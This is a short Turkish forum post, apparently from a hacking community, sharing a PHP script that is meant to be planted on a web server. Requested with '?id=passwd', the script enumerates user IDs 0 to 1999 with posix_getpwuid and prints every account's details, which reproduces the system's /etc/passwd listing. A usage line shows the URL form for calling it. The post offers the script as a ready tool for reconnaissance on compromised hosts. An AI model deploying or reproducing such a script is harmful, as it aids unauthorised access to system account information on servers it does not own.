Hoşgeldin Misafir

Posix_getpwuid fonksiyonu

Scorpiol

2 Eyl 2017
406 Mesaj

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
Kod:
<?php
if ($_GET[id]=="passwd"){
for($uid=0;$uid<2000;$uid++){ //cat /etc/passwd
$nothing = posix_getpwuid($uid);
if (!empty($nothing)) {
while (list ($key, $val) = each($nothing)){
print "$val:";
}
print "<br />";
}
}
}
?>
-kullanım: site.com/scorpiol.php?id=passwd--